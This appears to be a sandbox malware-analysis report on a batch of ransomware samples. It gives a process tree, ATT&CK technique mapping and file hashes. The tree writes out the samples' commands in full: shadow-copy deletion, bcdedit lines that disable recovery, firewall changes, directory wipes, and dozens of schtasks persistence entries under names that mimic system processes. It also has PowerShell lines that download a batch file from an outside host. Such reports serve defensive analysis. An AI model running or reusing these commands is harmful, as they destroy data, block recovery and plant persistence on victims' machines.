C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "ImagingDevices.exe.mui" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "ImagingDevices.exe.mui" -nobanner6⤵
-
-
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula -c Run -y -p extract -nobanner5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "PhotoViewer.dll.mui" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "PhotoViewer.dll.mui" -nobanner6⤵
-
-
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula -c Run -y -p extract -nobanner5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"5⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C5⤵
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Cryakl.gen-e298ac8c4975ff92788ee7049e39b047d0805c2513f7a5ca4b1e98f8b260b923.exeHEUR-Trojan-Ransom.Win32.Cryakl.gen-e298ac8c4975ff92788ee7049e39b047d0805c2513f7a5ca4b1e98f8b260b923.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Cryptolocker.vho-70402de980d7cb82134f16705b21b15a381e988604ee1a0408640869437132e5.exeHEUR-Trojan-Ransom.Win32.Cryptolocker.vho-70402de980d7cb82134f16705b21b15a381e988604ee1a0408640869437132e5.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Cryptolocker.vho-70402de980d7cb82134f16705b21b15a381e988604ee1a0408640869437132e5.exe"C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Cryptolocker.vho-70402de980d7cb82134f16705b21b15a381e988604ee1a0408640869437132e5.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\86ddda386cc8\86ddda386cc8.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\86ddda386cc8\86ddda386cc8.exe" enable=yes6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Cryptor.gen-6ed577361d0db8b085c54efef19fec4055ecdaaaf65b7ec63134275d93d6f09b.exeHEUR-Trojan-Ransom.Win32.Cryptor.gen-6ed577361d0db8b085c54efef19fec4055ecdaaaf65b7ec63134275d93d6f09b.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{59C6D001-2A1D-495D-B41C-13CF70E22926}'" delete4⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{59C6D001-2A1D-495D-B41C-13CF70E22926}'" delete5⤵
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Encoder.gen-87023bcd5a3fd1b751c150b272ec9a2d1448de60710cc2c6d975b6dcef765881.exeHEUR-Trojan-Ransom.Win32.Encoder.gen-87023bcd5a3fd1b751c150b272ec9a2d1448de60710cc2c6d975b6dcef765881.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Foreign.vho-6ef4aa9ec54235327b67e5ecd91508db638318e572dd2e61a20c5b12b713267c.exeHEUR-Trojan-Ransom.Win32.Foreign.vho-6ef4aa9ec54235327b67e5ecd91508db638318e572dd2e61a20c5b12b713267c.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Gen.gen-5dbfdec02487b7925e5b390c9d3141b051149364b755a8a2da406673a0c9f91f.exeHEUR-Trojan-Ransom.Win32.Gen.gen-5dbfdec02487b7925e5b390c9d3141b051149364b755a8a2da406673a0c9f91f.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Generic-05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exeHEUR-Trojan-Ransom.Win32.Generic-05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe3⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.execmd /C "label F: Encrypted"4⤵
-
C:\Windows\system32\label.exelabel F: Encrypted5⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "label C: Encrypted"4⤵
-
C:\Windows\system32\label.exelabel C: Encrypted5⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d %SystemRoot%\System32\SHELL32.dll,271 /f"4⤵
-
C:\Windows\system32\reg.exereg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d C:\Windows\System32\SHELL32.dll,271 /f5⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "taskkill /F /IM sqlservr.exe /T"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlservr.exe /T5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.execmd /C "taskkill /F /IM sqlceip.exe /T"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlceip.exe /T5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.execmd /C "taskkill /F /IM sqlwriter.exe /T"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlwriter.exe /T5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.execmd /C "rmdir C:\Users\Admin\AppData /s /q"4⤵
-
-
C:\Windows\system32\cmd.execmd /C "rmdir C:\Users\Default\AppData /s /q"4⤵
-
-
C:\Windows\system32\cmd.execmd /C "rmdir C:\Users\Public\AppData /s /q"4⤵
-
-
C:\Windows\system32\cmd.execmd /C "attrib +h +s Crypto.exe"4⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s Crypto.exe5⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.execmd /C "net stop MSSQL$SQLEXPRESS"4⤵
-
C:\Windows\system32\net.exenet stop MSSQL$SQLEXPRESS5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS6⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /C "rmdir F:\$Recycle.Bin /s /q"4⤵
-
-
C:\Windows\system32\cmd.execmd /C "rmdir C:\$Recycle.Bin /s /q"4⤵
-
-
C:\Windows\system32\cmd.execmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')"4⤵
-
C:\windows\syswow64\windowspowershell\v1.0\powershell.exeC:\windows\syswow64\windowspowershell\v1.0\powershell (New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.execmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/video.mp4', 'C:\Users\Public\Music\video.mp4')"4⤵
-
C:\windows\syswow64\windowspowershell\v1.0\powershell.exeC:\windows\syswow64\windowspowershell\v1.0\powershell (New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/video.mp4', 'C:\Users\Public\Music\video.mp4')5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Shade.gen-1f58f9afa91db98e0d7d13ad5d42205f64714281b12e608820d222e95af22881.exeHEUR-Trojan-Ransom.Win32.Shade.gen-1f58f9afa91db98e0d7d13ad5d42205f64714281b12e608820d222e95af22881.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.MSIL.Xcrypto.d-20ff3ee05f1dffc81e04f2917f8e47d569c3c0b41145e1a8f95ab8c69d5259d3.exeTrojan-Ransom.MSIL.Xcrypto.d-20ff3ee05f1dffc81e04f2917f8e47d569c3c0b41145e1a8f95ab8c69d5259d3.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c vssadmin.exe delete shadows /all /quiet4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C vssadmin Delete Shadows /All /Quiet4⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet5⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh.exe" Advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh.exe" Advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Blocker.lckf-a66091d7ea74ec75541e89e299e55a585aec31e153ef4b367dec10babb76c5bc.exeTrojan-Ransom.Win32.Blocker.lckf-a66091d7ea74ec75541e89e299e55a585aec31e153ef4b367dec10babb76c5bc.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Crusis.to-3e7f30a802c595379ad3158ffe4ba5bc9e4a4d304430a2d846330adee70dc9a5.exeTrojan-Ransom.Win32.Crusis.to-3e7f30a802c595379ad3158ffe4ba5bc9e4a4d304430a2d846330adee70dc9a5.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"4⤵
-
C:\Windows\system32\mode.commode con cp select=12515⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Cryptoff.ad-5960341f09dd21b9a9bf5aa2fd869f21c6dc8d469d4974f96644b388ff1864e4.exeTrojan-Ransom.Win32.Cryptoff.ad-5960341f09dd21b9a9bf5aa2fd869f21c6dc8d469d4974f96644b388ff1864e4.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Cryptoff.ad-5960341f09dd21b9a9bf5aa2fd869f21c6dc8d469d4974f96644b388ff1864e4.exe"C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Cryptoff.ad-5960341f09dd21b9a9bf5aa2fd869f21c6dc8d469d4974f96644b388ff1864e4.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "vssadmin.exe delete shadows /all /quiet"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "bcdedit.exe /set {default} recoveryenabled no"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Cryptoff.ad-5960341f09dd21b9a9bf5aa2fd869f21c6dc8d469d4974f96644b388ff1864e4.exe.bat" "5⤵
-
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Cryptor.dri-64dd179bab62fb8b024a477e6d3b037895d2da1c3bd53c99d251960527203d9c.exeTrojan-Ransom.Win32.Cryptor.dri-64dd179bab62fb8b024a477e6d3b037895d2da1c3bd53c99d251960527203d9c.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1532 -s 11924⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Encoder.kis-db157f4e2d83d24ebe29edc7557773b031f62371a12238fb1b523f0c14e65f85.exeTrojan-Ransom.Win32.Encoder.kis-db157f4e2d83d24ebe29edc7557773b031f62371a12238fb1b523f0c14e65f85.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C6D7.tmp\C6E7.tmp\C8AD.bat C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Encoder.kis-db157f4e2d83d24ebe29edc7557773b031f62371a12238fb1b523f0c14e65f85.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\00395\Trojan-Ransom.Win32.Gen.yqb-eb0605f0de19d71d0e95bb1e41967823f9c06d399a58a75a18a0c587a3e70f76.exeTrojan-Ransom.Win32.Gen.yqb-eb0605f0de19d71d0e95bb1e41967823f9c06d399a58a75a18a0c587a3e70f76.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "wmiintegrator" /sc ONLOGON /tr "'C:\PerfLogs\wmiintegrator.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Users\All Users\USOShared\Logs\User\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\PerfLogs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Windows\IdentityCRL\INT\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\squid\share\icons\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "csrss" /sc ONLOGON /tr "'C:\squid\system32\csrss.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\PerfLogs\conhost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Trojan-Ransom.Win32.Crusis.to-3e7f30a802c595379ad3158ffe4ba5bc9e4a4d304430a2d846330adee70dc9a5" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Trojan-Ransom.Win32.Crusis.to-3e7f30a802c595379ad3158ffe4ba5bc9e4a4d304430a2d846330adee70dc9a5.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\sihost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "HEUR-Trojan-Ransom.Win32.Encoder.gen-87023bcd5a3fd1b751c150b272ec9a2d1448de60710cc2c6d975b6dcef765881" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\HEUR-Trojan-Ransom.Win32.Encoder.gen-87023bcd5a3fd1b751c150b272ec9a2d1448de60710cc2c6d975b6dcef765881.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\Download\cmd.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Windows\apppatch\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "HEUR-Trojan-Ransom.Win32.Gen.gen-5dbfdec02487b7925e5b390c9d3141b051149364b755a8a2da406673a0c9f91f" /sc ONLOGON /tr "'C:\ProgramData\Application Data\HEUR-Trojan-Ransom.Win32.Gen.gen-5dbfdec02487b7925e5b390c9d3141b051149364b755a8a2da406673a0c9f91f.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\squid\var\logs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "wmisecure" /sc ONLOGON /tr "'C:\Windows\PolicyDefinitions\de-DE\wmisecure.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WMIC" /sc ONLOGON /tr "'C:\PerfLogs\WMIC.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.MSIL.Blocker.gen-8293bf889e1b43b4ad26a136618a696f90a0d435d724fbff73d046b39be68d33\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\sppsvc.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\squid\docs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files\Crashpad\attachments\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files\Crashpad\reports\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\PerfLogs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\squid\etc\WmiPrvSE.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\squid\sbin\conhost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "cmd" /sc ONLOGON /tr "'C:\ProgramData\Documents\cmd.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\ProgramData\SoftwareDistribution\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "svchost" /sc ONLOGON /tr "'C:\PerfLogs\svchost.exe'" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\PerfLogs\svchost.exe"C:\PerfLogs\svchost.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16492 -s 18005⤵
- Program crash
-
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1532 -ip 15321⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\edbwKqkI.bat"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 16492 -ip 164921⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7KB
MD52bc61142ab8d01496c9968c6bad3bc27
SHA1b26cdf0a9bcf7e68b7eece4b7cd01c06448efdf0
SHA25649833276311e95e29f3122b6696bbad9524d93717c0f4520c1053a54fabe01ec
SHA51264451ce672a1f1d0c1cdf3446ea6945127f704d14e056a27b25c0181088a4ccca649f2c2aed4c9a7cc4ac4cd8531d57624d3629bd8dfcfd81075b8a6d29ef994
-
Filesize
2.7MB
MD52e22f88057de3655f94d1204d357d4f1
SHA120bbe5f2bc4478557dd0776e744442787eb59a98
SHA25683f3a5246c2aeac2b224f8d0759953ed96dd6d1e1eb7cd68f43118081efe3113
SHA5122285b2e3909aa28ea81d96dc8d27320b22eee29527ba680f14564705758e6277e6b92eba89c87b3ac31f4acc6e156ed12f035e5072555a89033f1f802410b74d
-
Filesize
1KB
MD5963a5e0b43584c2831094180bf3de45c
SHA179c51ea46fe19dbd1182aae402503baaff89ac80
SHA256ac54004ebc46a1515e1fb6edce6e4dfb3517eb902e98bd443f03ac1b6e3b7100
SHA512468e6b723e3ced4c0ea4d85c489cddc8039567eeca9ead884f93c8e377327ddcb79268431e227c9eaa8089f08786e45adf672a3cf4a8aa1d5d491e7db8c1e42c
-
Filesize
32B
MD570bc8f4b72a86921468bf8e8441dce51
SHA1de8a847bff8c343d69b853a215e6ee775ef2ef96
SHA25666687aadf862bd776c8fc18b8e9f8e20089714856ee233b3902a591d0d5f2925
SHA5125046adc1dba838867b2bbbfdd0c3423e58b57970b5267a90f57960924a87f1960a6a85eaa642dac835424b5d7c8d637c00408c7a73da672b7f498521420b6dd3
-
Filesize
1.7MB
MD5012163c07679c6a2ec2e07281668d1a2
SHA1b24cf061d8de7783afc61cf18546339d3bb9eb0c
SHA256eb0605f0de19d71d0e95bb1e41967823f9c06d399a58a75a18a0c587a3e70f76
SHA512021839cdb005771bda885c38d89a662421370d9c60a5481d3a8bc74b43e7453261937828a099d9f12e1a24f48d7bb0c481f17e4241c6ff38dcc66ad39d86f9f1
-
Filesize
5KB
MD5b2bb6853b0e5835e36958bd475488f6b
SHA1618f9c189fc3d7a969197bd61b01205a454a6c1c
SHA2569c3499426d6996dd3890be34e63593365c39656ed17a8f97cd9306d5d5a7b6c6
SHA512979e6dcbe215740b81f615fd3889f36db72982b16199c1a776e604301efe4c66842fbbb101107c16d38a5a16a5614e619b54c38b7002dce1f583e9e25217b43f
-
Filesize
64KB
MD5d2fb266b97caff2086bf0fa74eddb6b2
SHA12f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA256b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
SHA512c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8
-
Filesize
4B
MD5f49655f856acb8884cc0ace29216f511
SHA1cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA2567852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
-
Filesize
944B
